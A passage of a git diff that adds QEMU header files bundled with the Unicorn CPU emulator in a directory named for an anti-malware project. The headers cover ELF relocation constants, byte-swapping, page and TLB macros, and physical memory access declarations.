/* Direct 8 bit sign extended */ +#define R_X86_64_PC8 15 /* 8 bit sign extended pc relative */ + +#define R_X86_64_NUM 16 + +/* IA-64 relocations. */ +#define R_IA64_NONE 0x00 /* none */ +#define R_IA64_IMM14 0x21 /* symbol + addend, add imm14 */ +#define R_IA64_IMM22 0x22 /* symbol + addend, add imm22 */ +#define R_IA64_IMM64 0x23 /* symbol + addend, mov imm64 */ +#define R_IA64_DIR32MSB 0x24 /* symbol + addend, data4 MSB */ +#define R_IA64_DIR32LSB 0x25 /* symbol + addend, data4 LSB */ +#define R_IA64_DIR64MSB 0x26 /* symbol + addend, data8 MSB */ +#define R_IA64_DIR64LSB 0x27 /* symbol + addend, data8 LSB */ +#define R_IA64_GPREL22 0x2a /* @gprel(sym + add), add imm22 */ +#define R_IA64_GPREL64I 0x2b /* @gprel(sym + add), mov imm64 */ +#define R_IA64_GPREL32MSB 0x2c /* @gprel(sym + add), data4 MSB */ +#define R_IA64_GPREL32LSB 0x2d /* @gprel(sym + add), data4 LSB */ +#define R_IA64_GPREL64MSB 0x2e /* @gprel(sym + add), data8 MSB */ +#define R_IA64_GPREL64LSB 0x2f /* @gprel(sym + add), data8 LSB */ +#define R_IA64_LTOFF22 0x32 /* @ltoff(sym + add), add imm22 */ +#define R_IA64_LTOFF64I 0x33 /* @ltoff(sym + add), mov imm64 */ +#define R_IA64_PLTOFF22 0x3a /* @pltoff(sym + add), add imm22 */ +#define R_IA64_PLTOFF64I 0x3b /* @pltoff(sym + add), mov imm64 */ +#define R_IA64_PLTOFF64MSB 0x3e /* @pltoff(sym + add), data8 MSB */ +#define R_IA64_PLTOFF64LSB 0x3f /* @pltoff(sym + add), data8 LSB */ +#define R_IA64_FPTR64I 0x43 /* @fptr(sym + add), mov imm64 */ +#define R_IA64_FPTR32MSB 0x44 /* @fptr(sym + add), data4 MSB */ +#define R_IA64_FPTR32LSB 0x45 /* @fptr(sym + add), data4 LSB */ +#define R_IA64_FPTR64MSB 0x46 /* @fptr(sym + add), data8 MSB */ +#define R_IA64_FPTR64LSB 0x47 /* @fptr(sym + add), data8 LSB */ +#define R_IA64_PCREL60B 0x48 /* @pcrel(sym + add), brl */ +#define R_IA64_PCREL21B 0x49 /* @pcrel(sym + add), ptb, call */ +#define R_IA64_PCREL21M 0x4a /* @pcrel(sym + add), chk.s */ +#define R_IA64_PCREL21F 0x4b /* @pcrel(sym + add), fchkf */ +#define R_IA64_PCREL32MSB 0x4c /* @pcrel(sym + add), data4 MSB */ +#define R_IA64_PCREL32LSB 0x4d /* @pcrel(sym + add), data4 LSB */ +#define R_IA64_PCREL64MSB 0x4e /* @pcrel(sym + add), data8 MSB */ +#define R_IA64_PCREL64LSB 0x4f /* @pcrel(sym + add), data8 LSB */ +#define R_IA64_LTOFF_FPTR22 0x52 /* @ltoff(@fptr(s+a)), imm22 */ +#define R_IA64_LTOFF_FPTR64I 0x53 /* @ltoff(@fptr(s+a)), imm64 */ +#define R_IA64_LTOFF_FPTR32MSB 0x54 /* @ltoff(@fptr(s+a)), data4 MSB */ +#define R_IA64_LTOFF_FPTR32LSB 0x55 /* @ltoff(@fptr(s+a)), data4 LSB */ +#define R_IA64_LTOFF_FPTR64MSB 0x56 /* @ltoff(@fptr(s+a)), data8 MSB */ +#define R_IA64_LTOFF_FPTR64LSB 0x57 /* @ltoff(@fptr(s+a)), data8 LSB */ +#define R_IA64_SEGREL32MSB 0x5c /* @segrel(sym + add), data4 MSB */ +#define R_IA64_SEGREL32LSB 0x5d /* @segrel(sym + add), data4 LSB */ +#define R_IA64_SEGREL64MSB 0x5e /* @segrel(sym + add), data8 MSB */ +#define R_IA64_SEGREL64LSB 0x5f /* @segrel(sym + add), data8 LSB */ +#define R_IA64_SECREL32MSB 0x64 /* @secrel(sym + add), data4 MSB */ +#define R_IA64_SECREL32LSB 0x65 /* @secrel(sym + add), data4 LSB */ +#define R_IA64_SECREL64MSB 0x66 /* @secrel(sym + add), data8 MSB */ +#define R_IA64_SECREL64LSB 0x67 /* @secrel(sym + add), data8 LSB */ +#define R_IA64_REL32MSB 0x6c /* data 4 + REL */ +#define R_IA64_REL32LSB 0x6d /* data 4 + REL */ +#define R_IA64_REL64MSB 0x6e /* data 8 + REL */ +#define R_IA64_REL64LSB 0x6f /* data 8 + REL */ +#define R_IA64_LTV32MSB 0x74 /* symbol + addend, data4 MSB */ +#define R_IA64_LTV32LSB 0x75 /* symbol + addend, data4 LSB */ +#define R_IA64_LTV64MSB 0x76 /* symbol + addend, data8 MSB */ +#define R_IA64_LTV64LSB 0x77 /* symbol + addend, data8 LSB */ +#define R_IA64_PCREL21BI 0x79 /* @pcrel(sym + add), 21bit inst */ +#define R_IA64_PCREL22 0x7a /* @pcrel(sym + add), 22bit inst */ +#define R_IA64_PCREL64I 0x7b /* @pcrel(sym + add), 64bit inst */ +#define R_IA64_IPLTMSB 0x80 /* dynamic reloc, imported PLT, MSB */ +#define R_IA64_IPLTLSB 0x81 /* dynamic reloc, imported PLT, LSB */ +#define R_IA64_COPY 0x84 /* copy relocation */ +#define R_IA64_SUB 0x85 /* Addend and symbol difference */ +#define R_IA64_LTOFF22X 0x86 /* LTOFF22, relaxable. */ +#define R_IA64_LDXMOV 0x87 /* Use of LTOFF22X. */ +#define R_IA64_TPREL14 0x91 /* @tprel(sym + add), imm14 */ +#define R_IA64_TPREL22 0x92 /* @tprel(sym + add), imm22 */ +#define R_IA64_TPREL64I 0x93 /* @tprel(sym + add), imm64 */ +#define R_IA64_TPREL64MSB 0x96 /* @tprel(sym + add), data8 MSB */ +#define R_IA64_TPREL64LSB 0x97 /* @tprel(sym + add), data8 LSB */ +#define R_IA64_LTOFF_TPREL22 0x9a /* @ltoff(@tprel(s+a)), imm2 */ +#define R_IA64_DTPMOD64MSB 0xa6 /* @dtpmod(sym + add), data8 MSB */ +#define R_IA64_DTPMOD64LSB 0xa7 /* @dtpmod(sym + add), data8 LSB */ +#define R_IA64_LTOFF_DTPMOD22 0xaa /* @ltoff(@dtpmod(sym + add)), imm22 */ +#define R_IA64_DTPREL14 0xb1 /* @dtprel(sym + add), imm14 */ +#define R_IA64_DTPREL22 0xb2 /* @dtprel(sym + add), imm22 */ +#define R_IA64_DTPREL64I 0xb3 /* @dtprel(sym + add), imm64 */ +#define R_IA64_DTPREL32MSB 0xb4 /* @dtprel(sym + add), data4 MSB */ +#define R_IA64_DTPREL32LSB 0xb5 /* @dtprel(sym + add), data4 LSB */ +#define R_IA64_DTPREL64MSB 0xb6 /* @dtprel(sym + add), data8 MSB */ +#define R_IA64_DTPREL64LSB 0xb7 /* @dtprel(sym + add), data8 LSB */ +#define R_IA64_LTOFF_DTPREL22 0xba /* @ltoff(@dtprel(s+a)), imm22 */ + +#endif /* QEMU_ELF_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/address-spaces.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/address-spaces.h new file mode 100644 index 0000000..58e825a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/address-spaces.h @@ -0,0 +1,35 @@ +/* + * Internal memory management interfaces + * + * Copyright 2011 Red Hat, Inc. and/or its affiliates + * + * Authors: + * Avi Kivity <avi@redhat.com> + * + * This work is licensed under the terms of the GNU GPL, version 2. See + * the COPYING file in the top-level directory. + * + */ + +#ifndef EXEC_MEMORY_H +#define EXEC_MEMORY_H + +/* + * Internal interfaces between memory.c/exec.c/vl.c. Do not #include unless + * you're one of them. + */ + +#include "exec/memory.h" + +#ifndef CONFIG_USER_ONLY + +/* Get the root memory region. This interface should only be used temporarily + * until a proper bus interface is available. + */ +MemoryRegion *get_system_memory(struct uc_struct *uc); + +extern AddressSpace address_space_memory; + +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-all.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-all.h new file mode 100644 index 0000000..6d196ba --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-all.h @@ -0,0 +1,309 @@ +/* + * defines common to all virtual CPUs + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ +#ifndef CPU_ALL_H +#define CPU_ALL_H + +#include "qemu-common.h" +#include "exec/cpu-common.h" +#include "exec/memory.h" +#include "qemu/thread.h" +#include "qom/cpu.h" + +/* some important defines: + * + * WORDS_ALIGNED : if defined, the host cpu can only make word aligned + * memory accesses. + * + * HOST_WORDS_BIGENDIAN : if defined, the host cpu is big endian and + * otherwise little endian. + * + * (TARGET_WORDS_ALIGNED : same for target cpu (not supported yet)) + * + * TARGET_WORDS_BIGENDIAN : same for target cpu + */ + +#if defined(HOST_WORDS_BIGENDIAN) != defined(TARGET_WORDS_BIGENDIAN) +#define BSWAP_NEEDED +#endif + +#ifdef BSWAP_NEEDED + +static inline uint16_t tswap16(uint16_t s) +{ + return bswap16(s); +} + +static inline uint32_t tswap32(uint32_t s) +{ + return bswap32(s); +} + +static inline uint64_t tswap64(uint64_t s) +{ + return bswap64(s); +} + +static inline void tswap16s(uint16_t *s) +{ + *s = bswap16(*s); +} + +static inline void tswap32s(uint32_t *s) +{ + *s = bswap32(*s); +} + +static inline void tswap64s(uint64_t *s) +{ + *s = bswap64(*s); +} + +#else + +static inline uint16_t tswap16(uint16_t s) +{ + return s; +} + +static inline uint32_t tswap32(uint32_t s) +{ + return s; +} + +static inline uint64_t tswap64(uint64_t s) +{ + return s; +} + +static inline void tswap16s(uint16_t *s) +{ +} + +static inline void tswap32s(uint32_t *s) +{ +} + +static inline void tswap64s(uint64_t *s) +{ +} + +#endif + +#if TARGET_LONG_SIZE == 4 +#define tswapl(s) tswap32(s) +#define tswapls(s) tswap32s((uint32_t *)(s)) +#define bswaptls(s) bswap32s(s) +#else +#define tswapl(s) tswap64(s) +#define tswapls(s) tswap64s((uint64_t *)(s)) +#define bswaptls(s) bswap64s(s) +#endif + +/* CPU memory access without any memory or io remapping */ + +/* + * the generic syntax for the memory accesses is: + * + * load: ld{type}{sign}{size}{endian}_{access_type}(ptr) + * + * store: st{type}{size}{endian}_{access_type}(ptr, val) + * + * type is: + * (empty): integer access + * f : float access + * + * sign is: + * (empty): for floats or 32 bit size + * u : unsigned + * s : signed + * + * size is: + * b: 8 bits + * w: 16 bits + * l: 32 bits + * q: 64 bits + * + * endian is: + * (empty): target cpu endianness or 8 bit access + * r : reversed target cpu endianness (not implemented yet) + * be : big endian (not implemented yet) + * le : little endian (not implemented yet) + * + * access_type is: + * raw : host memory access + * user : user mode access using soft MMU + * kernel : kernel mode access using soft MMU + */ + +/* target-endianness CPU memory access functions */ +#if defined(TARGET_WORDS_BIGENDIAN) +#define lduw_p(p) lduw_be_p(p) +#define ldsw_p(p) ldsw_be_p(p) +#define ldl_p(p) ldl_be_p(p) +#define ldq_p(p) ldq_be_p(p) +#define ldfl_p(p) ldfl_be_p(p) +#define ldfq_p(p) ldfq_be_p(p) +#define stw_p(p, v) stw_be_p(p, v) +#define stl_p(p, v) stl_be_p(p, v) +#define stq_p(p, v) stq_be_p(p, v) +#define stfl_p(p, v) stfl_be_p(p, v) +#define stfq_p(p, v) stfq_be_p(p, v) +#else +#define lduw_p(p) lduw_le_p(p) +#define ldsw_p(p) ldsw_le_p(p) +#define ldl_p(p) ldl_le_p(p) +#define ldq_p(p) ldq_le_p(p) +#define ldfl_p(p) ldfl_le_p(p) +#define ldfq_p(p) ldfq_le_p(p) +#define stw_p(p, v) stw_le_p(p, v) +#define stl_p(p, v) stl_le_p(p, v) +#define stq_p(p, v) stq_le_p(p, v) +#define stfl_p(p, v) stfl_le_p(p, v) +#define stfq_p(p, v) stfq_le_p(p, v) +#endif + +/* MMU memory access macros */ + +#if defined(CONFIG_USER_ONLY) +#include <assert.h> +#include "exec/user/abitypes.h" + +/* On some host systems the guest address space is reserved on the host. + * This allows the guest address space to be offset to a convenient location. + */ +#if defined(CONFIG_USE_GUEST_BASE) +extern unsigned long guest_base; +extern int have_guest_base; +extern unsigned long reserved_va; +#define GUEST_BASE guest_base +#define RESERVED_VA reserved_va +#else +#define GUEST_BASE 0ul +#define RESERVED_VA 0ul +#endif + +#define GUEST_ADDR_MAX (RESERVED_VA ? RESERVED_VA : \ + (1ul << TARGET_VIRT_ADDR_SPACE_BITS) - 1) +#endif + +/* page related stuff */ + +#define TARGET_PAGE_SIZE (1 << TARGET_PAGE_BITS) +#define TARGET_PAGE_MASK ~(TARGET_PAGE_SIZE - 1) +#define TARGET_PAGE_ALIGN(addr) (((addr) + TARGET_PAGE_SIZE - 1) & TARGET_PAGE_MASK) + +#define HOST_PAGE_ALIGN(addr) (((addr) + qemu_host_page_size - 1) & qemu_host_page_mask) + +/* same as PROT_xxx */ +#define PAGE_READ 0x0001 +#define PAGE_WRITE 0x0002 +#define PAGE_EXEC 0x0004 +#define PAGE_BITS (PAGE_READ | PAGE_WRITE | PAGE_EXEC) +#define PAGE_VALID 0x0008 +/* original state of the write flag (used when tracking self-modifying + code */ +#define PAGE_WRITE_ORG 0x0010 +#if defined(CONFIG_BSD) && defined(CONFIG_USER_ONLY) +/* FIXME: Code that sets/uses this is broken and needs to go away. */ +#define PAGE_RESERVED 0x0020 +#endif + +#if defined(CONFIG_USER_ONLY) +//void page_dump(FILE *f); + +int page_get_flags(target_ulong address); +#endif + +CPUArchState *cpu_copy(CPUArchState *env); + +/* Flags for use in ENV->INTERRUPT_PENDING. + + The numbers assigned here are non-sequential in order to preserve + binary compatibility with the vmstate dump. Bit 0 (0x0001) was + previously used for CPU_INTERRUPT_EXIT, and is cleared when loading + the vmstate dump. */ + +/* External hardware interrupt pending. This is typically used for + interrupts from devices. */ +#define CPU_INTERRUPT_HARD 0x0002 + +/* Exit the current TB. This is typically used when some system-level device + makes some change to the memory mapping. E.g. the a20 line change. */ +#define CPU_INTERRUPT_EXITTB 0x0004 + +/* Halt the CPU. */ +#define CPU_INTERRUPT_HALT 0x0020 + +/* Debug event pending. */ +#define CPU_INTERRUPT_DEBUG 0x0080 + +/* Reset signal. */ +#define CPU_INTERRUPT_RESET 0x0400 + +/* Several target-specific external hardware interrupts. Each target/cpu.h + should define proper names based on these defines. */ +#define CPU_INTERRUPT_TGT_EXT_0 0x0008 +#define CPU_INTERRUPT_TGT_EXT_1 0x0010 +#define CPU_INTERRUPT_TGT_EXT_2 0x0040 +#define CPU_INTERRUPT_TGT_EXT_3 0x0200 +#define CPU_INTERRUPT_TGT_EXT_4 0x1000 + +/* Several target-specific internal interrupts. These differ from the + preceding target-specific interrupts in that they are intended to + originate from within the cpu itself, typically in response to some + instruction being executed. These, therefore, are not masked while + single-stepping within the debugger. */ +#define CPU_INTERRUPT_TGT_INT_0 0x0100 +#define CPU_INTERRUPT_TGT_INT_1 0x0800 +#define CPU_INTERRUPT_TGT_INT_2 0x2000 + +/* First unused bit: 0x4000. */ + +/* The set of all bits that should be masked when single-stepping. */ +#define CPU_INTERRUPT_SSTEP_MASK \ + (CPU_INTERRUPT_HARD \ + | CPU_INTERRUPT_TGT_EXT_0 \ + | CPU_INTERRUPT_TGT_EXT_1 \ + | CPU_INTERRUPT_TGT_EXT_2 \ + | CPU_INTERRUPT_TGT_EXT_3 \ + | CPU_INTERRUPT_TGT_EXT_4) + +#if !defined(CONFIG_USER_ONLY) + +/* memory API */ + +/* Flags stored in the low bits of the TLB virtual address. These are + defined so that fast path ram access is all zeros. */ +/* Zero if TLB entry is valid. */ +#define TLB_INVALID_MASK (1 << 3) +/* Set if TLB entry references a clean RAM page. The iotlb entry will + contain the page physical address. */ +#define TLB_NOTDIRTY (1 << 4) +/* Set if TLB entry is an IO callback. */ +#define TLB_MMIO (1 << 5) + +ram_addr_t last_ram_offset(struct uc_struct *uc); +void qemu_mutex_lock_ramlist(struct uc_struct *uc); +void qemu_mutex_unlock_ramlist(struct uc_struct *uc); +#endif /* !CONFIG_USER_ONLY */ + +int cpu_memory_rw_debug(CPUState *cpu, target_ulong addr, + uint8_t *buf, int len, int is_write); + +#endif /* CPU_ALL_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-common.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-common.h new file mode 100644 index 0000000..40664d7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-common.h @@ -0,0 +1,120 @@ +#ifndef CPU_COMMON_H +#define CPU_COMMON_H 1 + +/* CPU interfaces that are target independent. */ + +struct uc_struct; + +#ifndef CONFIG_USER_ONLY +#include "exec/hwaddr.h" +#endif + +#include "qemu/bswap.h" +#include "qemu/queue.h" + +typedef enum MMUAccessType { + MMU_DATA_LOAD = 0, + MMU_DATA_STORE = 1, + MMU_INST_FETCH = 2 +} MMUAccessType; + +#if !defined(CONFIG_USER_ONLY) + +enum device_endian { + DEVICE_NATIVE_ENDIAN, + DEVICE_BIG_ENDIAN, + DEVICE_LITTLE_ENDIAN, +}; + +/* address in the RAM (different from a physical address) */ +#if defined(CONFIG_XEN_BACKEND) +typedef uint64_t ram_addr_t; +# define RAM_ADDR_MAX UINT64_MAX +# define RAM_ADDR_FMT "%" PRIx64 +#else +typedef uintptr_t ram_addr_t; +# define RAM_ADDR_MAX UINTPTR_MAX +# define RAM_ADDR_FMT "%" PRIxPTR +#endif + +extern ram_addr_t ram_size; + +/* memory API */ + +typedef void CPUWriteMemoryFunc(void *opaque, hwaddr addr, uint32_t value); +typedef uint32_t CPUReadMemoryFunc(void *opaque, hwaddr addr); + +void qemu_ram_remap(struct uc_struct *uc, ram_addr_t addr, ram_addr_t length); +/* This should not be used by devices. */ +MemoryRegion *qemu_ram_addr_from_host(struct uc_struct* uc, void *ptr, ram_addr_t *ram_addr); +void qemu_ram_set_idstr(struct uc_struct *uc, ram_addr_t addr, const char *name, DeviceState *dev); +void qemu_ram_unset_idstr(struct uc_struct *uc, ram_addr_t addr); + +bool cpu_physical_memory_rw(AddressSpace *as, hwaddr addr, uint8_t *buf, + int len, int is_write); +static inline void cpu_physical_memory_read(AddressSpace *as, hwaddr addr, + void *buf, int len) +{ + cpu_physical_memory_rw(as, addr, buf, len, 0); +} +static inline void cpu_physical_memory_write(AddressSpace *as, hwaddr addr, + const void *buf, int len) +{ + cpu_physical_memory_rw(as, addr, (void *)buf, len, 1); +} +void *cpu_physical_memory_map(AddressSpace *as, hwaddr addr, + hwaddr *plen, + int is_write); +void cpu_physical_memory_unmap(AddressSpace *as, void *buffer, hwaddr len, + int is_write, hwaddr access_len); +void *cpu_register_map_client(void *opaque, void (*callback)(void *opaque)); + +bool cpu_physical_memory_is_io(AddressSpace *as, hwaddr phys_addr); + +/* Coalesced MMIO regions are areas where write operations can be reordered. + * This usually implies that write operations are side-effect free. This allows + * batching which can make a major impact on performance when using + * virtualization. + */ +void qemu_flush_coalesced_mmio_buffer(void); + +uint32_t ldub_phys(AddressSpace *as, hwaddr addr); +uint32_t lduw_le_phys(AddressSpace *as, hwaddr addr); +uint32_t lduw_be_phys(AddressSpace *as, hwaddr addr); +uint32_t ldl_le_phys(AddressSpace *as, hwaddr addr); +uint32_t ldl_be_phys(AddressSpace *as, hwaddr addr); +uint64_t ldq_le_phys(AddressSpace *as, hwaddr addr); +uint64_t ldq_be_phys(AddressSpace *as, hwaddr addr); +void stb_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stw_le_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stw_be_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stl_le_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stl_be_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stq_le_phys(AddressSpace *as, hwaddr addr, uint64_t val); +void stq_be_phys(AddressSpace *as, hwaddr addr, uint64_t val); + +#ifdef NEED_CPU_H +uint32_t lduw_phys(AddressSpace *as, hwaddr addr); +uint32_t ldl_phys(AddressSpace *as, hwaddr addr); +uint64_t ldq_phys(AddressSpace *as, hwaddr addr); +void stl_phys_notdirty(AddressSpace *as, hwaddr addr, uint32_t val); +void stw_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stl_phys(AddressSpace *as, hwaddr addr, uint32_t val); +void stq_phys(AddressSpace *as, hwaddr addr, uint64_t val); +#endif + +void cpu_physical_memory_write_rom(AddressSpace *as, hwaddr addr, + const uint8_t *buf, int len); +void cpu_flush_icache_range(AddressSpace *as, hwaddr start, int len); + +extern struct MemoryRegion io_mem_rom; +extern struct MemoryRegion io_mem_notdirty; + +typedef void (RAMBlockIterFunc)(void *host_addr, + ram_addr_t offset, ram_addr_t length, void *opaque); + +void qemu_ram_foreach_block(struct uc_struct *uc, RAMBlockIterFunc func, void *opaque); + +#endif + +#endif /* !CPU_COMMON_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-defs.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-defs.h new file mode 100644 index 0000000..8422656 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu-defs.h @@ -0,0 +1,151 @@ +/* + * common defines for all CPUs + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ +#ifndef CPU_DEFS_H +#define CPU_DEFS_H + +#ifndef NEED_CPU_H +#error cpu.h included from common code +#endif + +#include "config.h" +#include "unicorn/platform.h" +#include "qemu/osdep.h" +#include "qemu/queue.h" +#ifndef CONFIG_USER_ONLY +#include "exec/hwaddr.h" +#endif + +#ifndef TARGET_LONG_BITS +#error TARGET_LONG_BITS must be defined before including this header +#endif + +#define TARGET_LONG_SIZE (TARGET_LONG_BITS / 8) + +/* target_ulong is the type of a virtual address */ +#if TARGET_LONG_SIZE == 4 +typedef int32_t target_long; +typedef uint32_t target_ulong; +#define TARGET_FMT_lx "%08x" +#define TARGET_FMT_ld "%d" +#define TARGET_FMT_lu "%u" +#elif TARGET_LONG_SIZE == 8 +typedef int64_t target_long; +typedef uint64_t target_ulong; +#define TARGET_FMT_lx "%016" PRIx64 +#define TARGET_FMT_ld "%" PRId64 +#define TARGET_FMT_lu "%" PRIu64 +#else +#error TARGET_LONG_SIZE undefined +#endif + +#define EXCP_INTERRUPT 0x10000 /* async interruption */ +#define EXCP_HLT 0x10001 /* hlt instruction reached */ +#define EXCP_DEBUG 0x10002 /* cpu stopped after a breakpoint or singlestep */ +#define EXCP_HALTED 0x10003 /* cpu is halted (waiting for external event) */ +#define EXCP_YIELD 0x10004 /* cpu wants to yield timeslice to another */ + +/* Only the bottom TB_JMP_PAGE_BITS of the jump cache hash bits vary for + addresses on the same page. The top bits are the same. This allows + TLB invalidation to quickly clear a subset of the hash table. */ +#define TB_JMP_PAGE_BITS (TB_JMP_CACHE_BITS / 2) +#define TB_JMP_PAGE_SIZE (1 << TB_JMP_PAGE_BITS) +#define TB_JMP_ADDR_MASK (TB_JMP_PAGE_SIZE - 1) +#define TB_JMP_PAGE_MASK (TB_JMP_CACHE_SIZE - TB_JMP_PAGE_SIZE) + +#if !defined(CONFIG_USER_ONLY) +#define CPU_TLB_BITS 8 +#define CPU_TLB_SIZE (1 << CPU_TLB_BITS) +/* use a fully associative victim tlb of 8 entries */ +#define CPU_VTLB_SIZE 8 + +#if HOST_LONG_BITS == 32 && TARGET_LONG_BITS == 32 +#define CPU_TLB_ENTRY_BITS 4 +#else +#define CPU_TLB_ENTRY_BITS 5 +#endif + +typedef struct CPUTLBEntry { + /* bit TARGET_LONG_BITS to TARGET_PAGE_BITS : virtual address + bit TARGET_PAGE_BITS-1..4 : Nonzero for accesses that should not + go directly to ram. + bit 3 : indicates that the entry is invalid + bit 2..0 : zero + */ + target_ulong addr_read; + target_ulong addr_write; + target_ulong addr_code; + /* Addend to virtual address to get host address. IO accesses + use the corresponding iotlb value. */ + uintptr_t addend; + /* padding to get a power of two size */ + +#ifdef _MSC_VER +# define TARGET_ULONG_SIZE (TARGET_LONG_BITS/8) +# ifdef _WIN64 +# define UINTPTR_SIZE 8 +# else +# define UINTPTR_SIZE 4 +# endif + +#define DUMMY_SIZE (1 << CPU_TLB_ENTRY_BITS) - \ + (TARGET_ULONG_SIZE * 3 + \ + ((-TARGET_ULONG_SIZE * 3) & (UINTPTR_SIZE - 1)) + \ + UINTPTR_SIZE) + +#if DUMMY_SIZE > 0 + uint8_t dummy[DUMMY_SIZE]; +#endif +#else // _MSC_VER + uint8_t dummy[(1 << CPU_TLB_ENTRY_BITS) - + (sizeof(target_ulong) * 3 + + ((-sizeof(target_ulong) * 3) & (sizeof(uintptr_t) - 1)) + + sizeof(uintptr_t))]; +#endif // _MSC_VER +} CPUTLBEntry; + +QEMU_BUILD_BUG_ON(sizeof(CPUTLBEntry) != (1 << CPU_TLB_ENTRY_BITS)); + +#define CPU_COMMON_TLB \ + /* The meaning of the MMU modes is defined in the target code. */ \ + CPUTLBEntry tlb_table[NB_MMU_MODES][CPU_TLB_SIZE]; \ + CPUTLBEntry tlb_v_table[NB_MMU_MODES][CPU_VTLB_SIZE]; \ + hwaddr iotlb[NB_MMU_MODES][CPU_TLB_SIZE]; \ + hwaddr iotlb_v[NB_MMU_MODES][CPU_VTLB_SIZE]; \ + target_ulong tlb_flush_addr; \ + target_ulong tlb_flush_mask; \ + target_ulong vtlb_index; \ + +#else + +#define CPU_COMMON_TLB + +#endif + + +#define CPU_TEMP_BUF_NLONGS 128 + +// Unicorn engine +// @invalid_addr: invalid memory access address +// @invalid_error: error code for memory access (1 = READ, 2 = WRITE) +#define CPU_COMMON \ + /* soft mmu support */ \ + CPU_COMMON_TLB \ + uint64_t invalid_addr; \ + int invalid_error; +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst.h new file mode 100644 index 0000000..715cee5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/exec/cpu_ldst.h @@ -0,0 +1,400 @@ +/* + * Software MMU support + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + * + */ + +/* + * Generate inline load/store functions for all MMU modes (typically + * at least _user and _kernel) as well as _data versions, for all data + * sizes. + * + * Used by target op helpers. + * + * MMU mode suffixes are defined in target cpu.h. + */ +#ifndef CPU_LDST_H +#define CPU_LDST_H + +#if defined(CONFIG_USER_ONLY) +/* All direct uses of g2h and h2g need to go away for usermode softmmu. */ +#define g2h(x) ((void *)((unsigned long)(target_ulong)(x) + GUEST_BASE)) + +#if HOST_LONG_BITS <= TARGET_VIRT_ADDR_SPACE_BITS +#define h2g_valid(x) 1 +#else +#define h2g_valid(x) ({ \ + unsigned long __guest = (unsigned long)(x) - GUEST_BASE; \ + (__guest < (1ul << TARGET_VIRT_ADDR_SPACE_BITS)) && \ + (!RESERVED_VA || (__guest < RESERVED_VA)); \ +}) +#endif + +#define h2g_nocheck(x) ({ \ + unsigned long __ret = (unsigned long)(x) - GUEST_BASE; \ + (abi_ulong)__ret; \ +}) + +#define h2g(x) ({ \ + /* Check if given address fits target address space */ \ + assert(h2g_valid(x)); \ + h2g_nocheck(x); \ +}) + +#define saddr(x) g2h(x) +#define laddr(x) g2h(x) + +#else /* !CONFIG_USER_ONLY */ +/* NOTE: we use double casts if pointers and target_ulong have + different sizes */ +#define saddr(x) (uint8_t *)(intptr_t)(x) +#define laddr(x) (uint8_t *)(intptr_t)(x) +#endif + +#define ldub_raw(p) ldub_p(laddr((p))) +#define ldsb_raw(p) ldsb_p(laddr((p))) +#define lduw_raw(p) lduw_p(laddr((p))) +#define ldsw_raw(p) ldsw_p(laddr((p))) +#define ldl_raw(p) ldl_p(laddr((p))) +#define ldq_raw(p) ldq_p(laddr((p))) +#define ldfl_raw(p) ldfl_p(laddr((p))) +#define ldfq_raw(p) ldfq_p(laddr((p))) +#define stb_raw(p, v) stb_p(saddr((p)), v) +#define stw_raw(p, v) stw_p(saddr((p)), v) +#define stl_raw(p, v) stl_p(saddr((p)), v) +#define stq_raw(p, v) stq_p(saddr((p)), v) +#define stfl_raw(p, v) stfl_p(saddr((p)), v) +#define stfq_raw(p, v) stfq_p(saddr((p)), v) + + +#if defined(CONFIG_USER_ONLY) + +/* if user mode, no other memory access functions */ +#define ldub(p) ldub_raw(p) +#define ldsb(p) ldsb_raw(p) +#define lduw(p) lduw_raw(p) +#define ldsw(p) ldsw_raw(p) +#define ldl(p) ldl_raw(p) +#define 